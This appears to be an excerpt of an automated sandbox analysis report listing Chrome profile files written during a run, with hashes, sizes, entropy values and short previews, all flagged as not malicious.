MD5:	3487D273C23FDBB39A41DE5E9AA5488F
SHA1:	43D9CBD34049DD1D5C5372F5478E812AE93F8ADF
SHA-256:	7299892EB482E4C00EE2F8FF2D0439C87B04448F2388EB412B9D2E9DC5588027
SHA-512:	B97155C756F15AF28E1E99DF6DCC5D62B2E6FEB0615C5F92DB2E85A4CEACF66EF10A3A8BE8D4F4FDC3C2B12B06D3829E0B162E5C75BF714A2F97D26398496FCE
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:40.265 794 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2021/10/18-22:45:40.270 794 Recovering log #3.2021/10/18-22:45:40.273 794 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.201805513217458
Encrypted:	false
SSDEEP:	6:mTX0Jjyq2P923iKKdK8a2jMGIFUtCXSVFz1ZmwAXS6L1RkwO923iKKdK8a2jMmLJ:oXsOv45Kk8EFUtCXmFz1/AX3P5L5Kk8N
MD5:	3487D273C23FDBB39A41DE5E9AA5488F
SHA1:	43D9CBD34049DD1D5C5372F5478E812AE93F8ADF
SHA-256:	7299892EB482E4C00EE2F8FF2D0439C87B04448F2388EB412B9D2E9DC5588027
SHA-512:	B97155C756F15AF28E1E99DF6DCC5D62B2E6FEB0615C5F92DB2E85A4CEACF66EF10A3A8BE8D4F4FDC3C2B12B06D3829E0B162E5C75BF714A2F97D26398496FCE
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:40.265 794 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2021/10/18-22:45:40.270 794 Recovering log #3.2021/10/18-22:45:40.273 794 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\MANIFEST-000001 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PGP\011Secret Key -
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	low
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\MANIFEST-000002 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MPEG-4 LOAS
Category:	dropped
Size (bytes):	50
Entropy (8bit):	4.948758439731456
Encrypted:	false
SSDEEP:	3:Ukk/vxQRDKIVqU0blS:oO7iblS
MD5:	22BF0E81636B1B45051B138F48B3D148
SHA1:	56755D203579AB356E5620CE7E85519AD69D614A
SHA-256:	E292F241DAAFC3DF90F3E2D339C61C6E2787A0D0739AAC764E1EA9BB8544EE97
SHA-512:	A4CF1F5C74E0DF85DDA8750BE9070E24E19B8BE15C6F22F0C234EF8423EF9CA3DB22BA9EF777D64C33E8FD49FADA6FCCA26C1A14BA18E8472370533A1C65D8D0
Malicious:	false
Reputation:	low
Preview:	V........leveldb.BytewiseComparator...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.871599185186076
Encrypted:	false
SSDEEP:	48:YXs2MHRzsoMHT5s0MHyKsTMHksrDys4Csb7synWsQItFsym6zs6zMHWLsZMH5YhV:+GDGTHGmGHDW1/nOIbmOGlGGhVD
MD5:	829D5654ADF098AD43036E24C47F2A94
SHA1:	506C8BA397509BA0357787950C538C1879047DF3
SHA-256:	4D0B852D18FCA5C1A712904CF6DB3811FB905E86D8A7508A2D42F9C8D68E2211
SHA-512:	D9B18E6B0AD1E8E4BECF9E84BBE30D64730CFEC2CBEAF96D5DF52E28B907B03EADF22F020FBE0A56D137A52F4F09798031BC6CA026CFA8A979A608B3445DBCAA
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248542600883925","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":40156},"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248542628822803","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":30856},"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248542600893104","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":25300},"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248542600872791","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":34789},"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"exp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State05 (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	2936
Entropy (8bit):	4.907128780659102
Encrypted:	false
SSDEEP:	48:Y26qTCXDHzM3zsvGssRLsOtrq9sB6MqsSTSsJtFsHddszXswtMHosXMH9MHL4MH6:JxTCXDHzMSCfrd6MyrSC5GnG9GkGUhVD
MD5:	949D56A47A0946A275F877EB0AC1DDDF
SHA1:	05C0E6EFD329CB5021EC9FF762B1129AC250DC67
SHA-256:	094E78CA10605B10E8764AC57D06C7CB709771DC90DDD6DAB736E50CF4198B6F
SHA-512:	D9DB725EFEE164B6E87253F6DC34230E5E5ABE0CCA88DC8D72CB993A7F1EF6C0C293EFF933CE400CA3E6B3619003FFC8F09889947392D85654748D22CD583EAA
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://fonts.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https://dns.google","supports_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"13281687943521220","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://redirector.gvt1.com"},{"alternative_service":[{"advertised_versions":[50],"expiration":"13281687943564244","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://accounts.google.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"132

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.1743814700841595
Encrypted:	false
SSDEEP:	6:mTNMM+q2P923iKKdKgXz4rRIFUtCkJZmwAeMVkwO923iKKdKgXz4q8LJ:of+v45KkgXiuFUtCG/ATV5L5KkgX2J
MD5:	0D7D1509184043BFF8C137582481A73D
SHA1:	FED209E8E982563BFF831FA76B3E242A760AFC10
SHA-256:	EC4F18F4B1323DDCF3D6A56BF4A15A518B38907EB592DD53EC996827D75B228A
SHA-512:	C1D54E249DAD439DCAAE08523B1F878C476E1D86E8F1545E1F7513E74255A1D31E14FBD946729E8B98F336B67CFB8E08296438B3B75C27F3C1D8222F6750D62F
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:40.995 eac Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications/MANIFEST-000001.2021/10/18-22:45:40.998 eac Recovering log #3.2021/10/18-22:45:40.999 eac Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications\LOG.old/K (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.1743814700841595
Encrypted:	false
SSDEEP:	6:mTNMM+q2P923iKKdKgXz4rRIFUtCkJZmwAeMVkwO923iKKdKgXz4q8LJ:of+v45KkgXiuFUtCG/ATV5L5KkgX2J
MD5:	0D7D1509184043BFF8C137582481A73D
SHA1:	FED209E8E982563BFF831FA76B3E242A760AFC10
SHA-256:	EC4F18F4B1323DDCF3D6A56BF4A15A518B38907EB592DD53EC996827D75B228A
SHA-512:	C1D54E249DAD439DCAAE08523B1F878C476E1D86E8F1545E1F7513E74255A1D31E14FBD946729E8B98F336B67CFB8E08296438B3B75C27F3C1D8222F6750D62F
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:40.995 eac Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications/MANIFEST-000001.2021/10/18-22:45:40.998 eac Recovering log #3.2021/10/18-22:45:40.999 eac Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	5119
Entropy (8bit):	4.970817210278942
Encrypted:	false
SSDEEP:	96:nQvrI3tl9pSKIEIk0JCKL8cM7WkKjrLbOTQVuwn:nQvrs9pSeC4Kp/kKn
MD5:	BE1F51E277DF40E89A8A432352AC5962
SHA1:	D328535B8E26A60994868DCA250691E84AC918CE
SHA-256:	5766712C4A35D9E9CC09EB4A160774CB33B7DC1758C17487E3D3113ACDF2D73F
SHA-512:	34D6A2CDD963BFD388D8D5827E272760D7B8FE726693E57A64C21FE6062BA432528A57B38EE614B18B75F02119DB9F8F858BA0D4ECF243420D90B404F64B6F94
Malicious:	false
Reputation:	low
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13279095940816130","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245950583260338","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1538886"],"daily_received_length":["0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	5210
Entropy (8bit):	4.977555338762222
Encrypted:	false
SSDEEP:	96:nQvrI3pl9pSKIEIk0JCKL8cM7WkKjrlbOTQVuwn:nQvrW9pSeC4Kp/kK1
MD5:	2821F433BC4787BF4F1BC5660C5B64A8
SHA1:	57244EDE7E12FCB1978B3ACF704966DF7D4106C6
SHA-256:	6BAB983D48651B7706788EC4956F31DFB3E90C73043A866B567A36E353F665C7
SHA-512:	F452B6C1017507823947FDE7E7F59472878FD18DBFF7C8BC857391F1768655ED3CA51153ECBE898C953BC53BB582D1F2F658A1470F521D18F2DB475714BD0196
Malicious:	false
Reputation:	low
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13279095940816130","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245950583260338","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1538886"],"daily_received_length":["0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences\ (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	5806
Entropy (8bit):	5.181106802171541
Encrypted:	false
SSDEEP:	96:nQvrI3bl9/m3USKIEIk0JCKL8cM7WkKjrlbOTQVuwn:nQvry9SUSeC4Kp/kK1
MD5:	C71E98CD73499653EBA72282642F0D95
SHA1:	408ACF75BA73A807F875E581C301FC8356E7FCF6
SHA-256:	5DDEA07EA8774235CCF5BBE1A845BD55AC3F233FED238F90C8087B66198517BE
SHA-512:	4C729D19A05A383BA90A4E61A62D65A7E2AAB367B2F97BB04E1EF4CCC71A724D71FB60104FC991C015AD360B4753BACFC1FDEFF96EEA9F028D6F3BD090909F1A
Malicious:	false
Reputation:	low
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13279095940816130","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245950583260338","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1538886"],"daily_received_length":["0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferencesk (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	5119
Entropy (8bit):	4.970817210278942
Encrypted:	false
SSDEEP:	96:nQvrI3tl9pSKIEIk0JCKL8cM7WkKjrLbOTQVuwn:nQvrs9pSeC4Kp/kKn
MD5:	BE1F51E277DF40E89A8A432352AC5962
SHA1:	D328535B8E26A60994868DCA250691E84AC918CE
SHA-256:	5766712C4A35D9E9CC09EB4A160774CB33B7DC1758C17487E3D3113ACDF2D73F
SHA-512:	34D6A2CDD963BFD388D8D5827E272760D7B8FE726693E57A64C21FE6062BA432528A57B38EE614B18B75F02119DB9F8F858BA0D4ECF243420D90B404F64B6F94
Malicious:	false
Reputation:	low
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13279095940816130","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245950583260338","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1538886"],"daily_received_length":["0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Reporting and NEL Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.0873685418166017
Encrypted:	false
SSDEEP:	96:wIElwQF8mpcSasZQsQfVsLQbQOJsG2GRIa:wIElwQF8mpcSasJ3c
MD5:	9EF398698C255FBC23F9BFE1E0C4C404
SHA1:	C6548EC3F82EF82C4DDA01C6846F7E9992F95932
SHA-256:	0851A1B4EF99F375CA7B2B4646EC4A3AB8249060302AE0AAC80BC75003E65A58
SHA-512:	860B90D902D5E412D5246A002BD4F91CFE77A33EDD4E70DD390920011B8CD0E8DA307CA0D705F0B9053528443725F66F8EDCDA416989396756351DAB099FBA77
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................C..........g...^.........j............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	22596
Entropy (8bit):	5.536150320377474
Encrypted:	false
SSDEEP:	384:RZvteLlrYXV1kXqKf/pUZNCgVLH2HfDQrUsHGtnT3sg4l:cLl+V1kXqKf/pUZNCgVLH2HfsrUgGtns
MD5:	2849383956CABF9D9F6DF5B3D274A939
SHA1:	FEEC34B9D40BC17E993D0D01E32E84EEB78CEBA0
SHA-256:	23641F3522A08674956CCA3BF9D764F9F5DCD400F9C403F803728C61D01BC7AA
SHA-512:	FED1397BA0174456DBFFDBF9D052BF806D2C748C1F3F5E99B8B32769B56D56470CEAE9F5CAA90B6FE92642FA940BA26F227C3B55FEBB9F7A410E59D520EAEB9D
Malicious:	false
Reputation:	low
Preview:	{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13279095940249257","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtl3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVGijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	19181
Entropy (8bit):	5.570345962284067
Encrypted:	false
SSDEEP:	384:RZvteLlrYXV1kXqKf/pUZNCgVLH2HfDQrUsHGSgg4x:cLl+V1kXqKf/pUZNCgVLH2HfsrUgGtgq
MD5:	8C985F8CC4DD1A242D0D4C13D00C6BC5
SHA1:	2DF5CEECA6E52A3C37F9F79584B111744897E705
SHA-256:	7D416A12620B4C970152E18BADAF040FFDE31BC17CBB722370E748797A34A24C
SHA-512:	5F95A1E855BF04B7E3A5C5DCAABCF63770EDF2172FE23CF2A044F6F1BD6DFD8A415ED98DC15132E51BB55805A13571B51A463F3409BD47CE682BA44EFBB07D51
Malicious:	false
Reputation:	low
Preview:	{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13279095940249257","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtl3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVGijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure PreferencesMP (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	19182
Entropy (8bit):	5.570341779805881
Encrypted:	false
SSDEEP:	384:RZvteLlrYXV1kXqKf/pUZNCgVLH2HfDQrUsHG5sg42:cLl+V1kXqKf/pUZNCgVLH2HfsrUgGugt
MD5:	B7A3A3694111EF05B9F6F9A2EB2173E9
SHA1:	151CC9A04D54CF8CA097018B658D1B92E7B12D33
SHA-256:	BDE3B87CDF64C134F2C49BD226591596D8AFD2AEE42FE9D011815B8E9FD37969
SHA-512:	5B6F17ECB6DAD568FD9A1E5553F0735EA60BC8EE830EB0191D65F7964BC833E25C0FBA66A0147D4C10B909E228DAA7CF6E9A3A7086A931E049489C9A530898CE
Malicious:	false
Reputation:	low
Preview:	{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13279095940249257","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtl3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVGijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	384
Entropy (8bit):	2.472688525467211
Encrypted:	false
SSDEEP:	6:S85aEFljljljljljljljljljljljljljljljljljl:S+a8ljljljljljljljljljljljljljlH
MD5:	7389C9AF1B0AAA30C3F20444A772A6DE
SHA1:	CBF4446D5F44C87A40127F229C782B25899FDCFE
SHA-256:	DA509FF7C423A8D7FD6D7CE991B977A67D44DEC96561FFB8556F419A8E576C14
SHA-512:	244DA7B6A91399DD35394F248BBDC63EF8241B22FEC39DC67463CF2EBA7767028839DEFBA573DEEAEFC82E55DE981D184B1B8E2F3ECE9FAC6C741401D89E5FC9
Malicious:	false
Reputation:	low
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.137050064473077
Encrypted:	false
SSDEEP:	6:mTdWZq2P923iKKdKrQMxIFUtCdWyZZmwAdUk7kwO923iKKdKrQMFLJ:oUZv45KkCFUtCUG/AOQ5L5KktJ
MD5:	4A236CE6ADAE1B1225407C3DF517ACDD
SHA1:	5ED8B2306ADCA0CCC759D8E6D416AA53595056E4
SHA-256:	FB0BF2ABCB24146277FA4F9F93F7701CE2CE3A3FA8B4DAD14F5E9131B9FD40B8
SHA-512:	F0837580B557E35C648F911044BEC8BD956C4C03F73A9437FBB15855462BE8CCD8EF0499FD7D21A56052AC0DDA866B9357267C9469A08D5F3DDE7AE23E103AF4
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:40.837 1720 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage/MANIFEST-000001.2021/10/18-22:45:40.839 1720 Recovering log #3.2021/10/18-22:45:40.802 1720 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.137050064473077
Encrypted:	false
SSDEEP:	6:mTdWZq2P923iKKdKrQMxIFUtCdWyZZmwAdUk7kwO923iKKdKrQMFLJ:oUZv45KkCFUtCUG/AOQ5L5KktJ
MD5:	4A236CE6ADAE1B1225407C3DF517ACDD
SHA1:	5ED8B2306ADCA0CCC759D8E6D416AA53595056E4
SHA-256:	FB0BF2ABCB24146277FA4F9F93F7701CE2CE3A3FA8B4DAD14F5E9131B9FD40B8
SHA-512:	F0837580B557E35C648F911044BEC8BD956C4C03F73A9437FBB15855462BE8CCD8EF0499FD7D21A56052AC0DDA866B9357267C9469A08D5F3DDE7AE23E103AF4
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:40.837 1720 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage/MANIFEST-000001.2021/10/18-22:45:40.839 1720 Recovering log #3.2021/10/18-22:45:40.802 1720 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.184637342278988
Encrypted:	false
SSDEEP:	6:mTXW8pyq2P923iKKdK7Uh2ghZIFUtCXWY1ZmwAXWdN1RkwO923iKKdK7Uh2gnLJ:oX+v45KkIhHh2FUtCXf1/AXaND5L5Kks
MD5:	8255E7AE7AE280E3C4F4C37008C94D44
SHA1:	D186447132BD0AB85BF430528B9E6802DE824441
SHA-256:	91767168EA1187A7EDC53295EF2ECA81DDBC1C8C37B81B0ECDCB30922C77B02B
SHA-512:	D755545A63F5FFD3E90FF6F687909DFE876596D7FF8FA3AD7DA59D8F17468D486EE7BDE4C14C5806DBF518D441C51036CCFE6E9DAB819426A5CA7134BEFCBCC7
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:40.235 794 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database/MANIFEST-000001.2021/10/18-22:45:40.237 794 Recovering log #3.2021/10/18-22:45:40.238 794 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.184637342278988
Encrypted:	false
SSDEEP:	6:mTXW8pyq2P923iKKdK7Uh2ghZIFUtCXWY1ZmwAXWdN1RkwO923iKKdK7Uh2gnLJ:oX+v45KkIhHh2FUtCXf1/AXaND5L5Kks
MD5:	8255E7AE7AE280E3C4F4C37008C94D44
SHA1:	D186447132BD0AB85BF430528B9E6802DE824441
SHA-256:	91767168EA1187A7EDC53295EF2ECA81DDBC1C8C37B81B0ECDCB30922C77B02B
SHA-512:	D755545A63F5FFD3E90FF6F687909DFE876596D7FF8FA3AD7DA59D8F17468D486EE7BDE4C14C5806DBF518D441C51036CCFE6E9DAB819426A5CA7134BEFCBCC7
Malicious:	false
Reputation:	low
